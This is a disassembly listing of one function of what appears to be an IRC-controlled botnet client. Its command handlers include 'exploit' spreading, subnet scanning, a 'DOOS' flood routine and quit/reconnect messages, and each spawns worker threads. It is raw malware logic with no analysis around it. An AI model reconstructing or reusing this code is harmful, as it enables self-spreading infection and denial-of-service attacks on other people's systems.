loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	dword_4270B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C	; closesocket
		call	dword_4CB92C	; WSACleanup
		call	sub_4188A6
		push	ebx
		call	dword_42706C	; ExitProcess


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset sub_415E4B
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset sub_40B425
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aDoos	; "DOOS"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_411BCE
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40EF1C
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		call	dword_42706C	; ExitProcess


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_427214	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset sub_40BB65
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404B8A
